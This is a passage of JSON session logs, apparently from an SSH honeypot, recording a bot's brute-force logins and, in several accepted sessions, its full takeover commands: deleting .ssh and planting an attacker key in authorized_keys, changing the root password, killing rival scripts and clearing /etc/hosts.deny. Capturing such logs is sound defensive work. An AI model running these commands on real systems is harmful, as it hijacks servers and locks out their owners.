opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"logviewer","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"27a173f2-c932-4ade-a096-1edf5b852618","name":"patient-meadow-tamarin","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":53744,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:53:09.185510+00:00","ended_at":"2026-08-26T14:53:10.646248+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"a5ea950c-51c3-4e1a-91ab-c3d39f9eae95","name":"earnest-cosmic-springbok","protocol":"ssh","channel_kind":"exec","src_ip":"157.245.34.56","src_port":50314,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":272,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T14:51:34.958005+00:00","ended_at":"2026-08-26T14:51:35.881700+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T14:51:16.437304+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T14:51:16.708375+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T14:51:21.036466+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T14:51:21.309831+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T14:51:21.581947+00:00","kind":"input","latency_ms":null,"data":"echo \"root:95Hx8R6MuYGW\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T14:51:21.855122+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T14:51:22.124450+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T14:51:23.773367+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T14:51:24.045544+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T14:51:25.376896+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T14:51:25.651684+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T14:51:26.722236+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T14:51:26.995407+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T14:51:27.312189+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T14:51:27.583887+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T14:51:27.985863+00:00","kind":"output","latency_ms":null,"data":" 14:51:27 up 6 days, 11:41, 0 user, load average: 0.13, 0.16, 0.15\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T14:51:28.257825+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T14:51:28.725631+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T14:51:28.997859+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T14:51:29.825511+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T14:51:30.096514+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T14:51:30.677751+00:00","kind":"output","latency_ms":null,"data":"top - 14:51:30 up 6 days, 11:41, 0 user, load average: 0.13, 0.16, 0.15\nTasks: 109 total, 1 running, 108 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7308 free, 8579 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T14:51:30.951539+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T14:51:31.414251+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T14:51:31.687228+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T14:51:32.187020+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T14:51:32.457624+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T14:51:33.119464+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T14:51:33.392085+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T14:51:34.687578+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T14:51:34.958777+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T14:51:35.802961+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"aA12345678","method":"password","accepted":true,"tier":"other"}]} {"id":"a2cf6520-00fe-4886-b0c9-c348e7dd0ff1","name":"oaken-serene-salmon","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":50334,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:51:19.116654+00:00","ended_at":"2026-08-26T14:51:20.962658+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"06035758-1866-4da6-b5da-5660b7a08885","name":"early-crystal-fennec","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":50326,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:51:17.378826+00:00","ended_at":"2026-08-26T14:51:18.554530+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"b7490650-98ab-4412-ba2f-85d20b650a71","name":"amiable-nautical-kea","protocol":"ssh","channel_kind":"exec","src_ip":"157.245.34.56","src_port":64768,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":291,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T14:49:39.026323+00:00","ended_at":"2026-08-26T14:49:40.174581+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T14:49:23.123304+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T14:49:23.414135+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T14:49:26.597140+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T14:49:27.083228+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T14:49:27.374451+00:00","kind":"input","latency_ms":null,"data":"echo \"root:Nd5Dr9pm8Frv\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T14:49:27.663722+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T14:49:27.953667+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T14:49:28.783517+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T14:49:29.073856+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T14:49:30.279064+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T14:49:30.570716+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T14:49:31.533665+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T14:49:31.827733+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T14:49:32.427221+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T14:49:32.716353+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T14:49:32.986861+00:00","kind":"output","latency_ms":null,"data":" 14:49:32 up 6 days, 11:39, 0 user, load average: 0.22, 0.18, 0.14\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T14:49:33.277394+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T14:49:33.641144+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T14:49:33.931224+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T14:49:34.301144+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T14:49:34.592570+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T14:49:35.165892+00:00","kind":"output","latency_ms":null,"data":"top - 14:49:35 up 6 days, 11:39, 0 user, load average: 0.22, 0.18, 0.14\nTasks: 107 total, 1 running, 106 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6672 free, 9215 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T14:49:35.457845+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T14:49:36.320385+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T14:49:36.612388+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T14:49:37.007967+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T14:49:37.298973+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T14:49:37.557668+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T14:49:37.848839+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T14:49:38.734818+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T14:49:39.027107+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T14:49:40.084957+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"!@#123qweASD","method":"password","accepted":true,"tier":"other"}]} {"id":"7d3efdf5-42aa-4b4e-928c-1aebea6949d8","name":"autumn-gallant-pangolin","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":52390,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:49:25.576420+00:00","ended_at":"2026-08-26T14:49:26.510165+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"7c3e6b4e-1850-43e1-8b86-0e55bc63657f","name":"patient-verdant-barbet","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":52384,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:49:24.079669+00:00","ended_at":"2026-08-26T14:49:25.017035+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"d33947eb-53b3-405c-91a6-f98649ff6c5c","name":"scarlet-mellow-quokka","protocol":"ssh","channel_kind":"exec","src_ip":"157.245.34.56","src_port":55332,"username":"promo","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":302,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T14:47:42.878274+00:00","ended_at":"2026-08-26T14:47:44.735311+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2250,"events":[{"seq":1,"at":"2026-08-26T14:47:23.435888+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T14:47:23.737887+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T14:47:27.149643+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T14:47:27.740635+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T14:47:28.043534+00:00","kind":"input","latency_ms":null,"data":"echo -e \"promo\\naComK9GZnJZ3\\naComK9GZnJZ3\"|passwd|bash"},{"seq":6,"at":"2026-08-26T14:47:28.345223+00:00","kind":"input","latency_ms":null,"data":"echo \"promo\\naComK9GZnJZ3\\naComK9GZnJZ3\\n\"|passwd"},{"seq":7,"at":"2026-08-26T14:47:28.647050+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T14:47:29.438121+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T14:47:29.741293+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T14:47:30.888263+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T14:47:31.192917+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T14:47:32.428114+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T14:47:32.736968+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T14:47:33.623147+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T14:47:33.926304+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T14:47:34.608340+00:00","kind":"output","latency_ms":null,"data":" 14:47:34 up 6 days, 11:37, 0 user, load average: 0.12, 0.13, 0.09\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T14:47:34.912041+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T14:47:35.490869+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T14:47:35.794211+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T14:47:36.644157+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T14:47:36.945626+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T14:47:37.655140+00:00","kind":"output","latency_ms":null,"data":"top - 14:47:37 up 6 days, 11:37, 0 user, load average: 0.12, 0.13, 0.09\nTasks: 105 total, 1 running, 104 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9215 free, 6672 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T14:47:37.956572+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T14:47:38.725585+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T14:47:39.026651+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T14:47:39.828878+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T14:47:40.132505+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T14:47:40.816202+00:00","kind":"output","latency_ms":null,"data":"promo"},{"seq":29,"at":"2026-08-26T14:47:41.122073+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T14:47:42.576475+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T14:47:42.878865+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T14:47:44.644929+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"promo","password":"promo","method":"password","accepted":true,"tier":"other"}]} {"id":"e1039607-53cd-4916-ae6a-e550e313b5a4","name":"frosty-somber-penguin","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":55932,"username":"promo","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:47:26.351133+00:00","ended_at":"2026-08-26T14:47:27.060332+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"promo","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"b1971bc8-9cd9-44d8-bb30-d2c912faf9bc","name":"canny-dappled-eider","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":55918,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:47:24.413032+00:00","ended_at":"2026-08-26T14:47:25.748551+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"79c82dc6-93a6-4f32-a42f-99c5dce541c0","name":"jaunty-seaward-impala","protocol":"ssh","channel_kind":"exec","src_ip":"157.245.34.56","src_port":52042,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":295,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T14:45:40.096591+00:00","ended_at":"2026-08-26T14:45:41.726099+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T14:45:22.599505+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T14:45:22.897256+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T14:45:26.185563+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T14:45:26.904927+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T14:45:27.201766+00:00","kind":"input","latency_ms":null,"data":"echo \"root:1SgKEBMa1yTl\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T14:45:27.496721+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T14:45:27.794469+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T14:45:28.070296+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T14:45:28.365584+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T14:45:29.250140+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T14:45:29.548116+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T14:45:30.655424+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T14:45:30.954527+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T14:45:31.396645+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T14:45:31.691781+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T14:45:32.356960+00:00","kind":"output","latency_ms":null,"data":" 14:45:32 up 6 days, 11:35, 0 user, load average: 0.19, 0.19, 0.19\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T14:45:32.653774+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T14:45:33.449122+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T14:45:33.743891+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T14:45:34.114716+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T14:45:34.411125+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T14:45:35.266801+00:00","kind":"output","latency_ms":null,"data":"top - 14:45:35 up 6 days, 11:35, 0 user, load average: 0.19, 0.19, 0.19\nTasks: 114 total, 1 running, 113 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 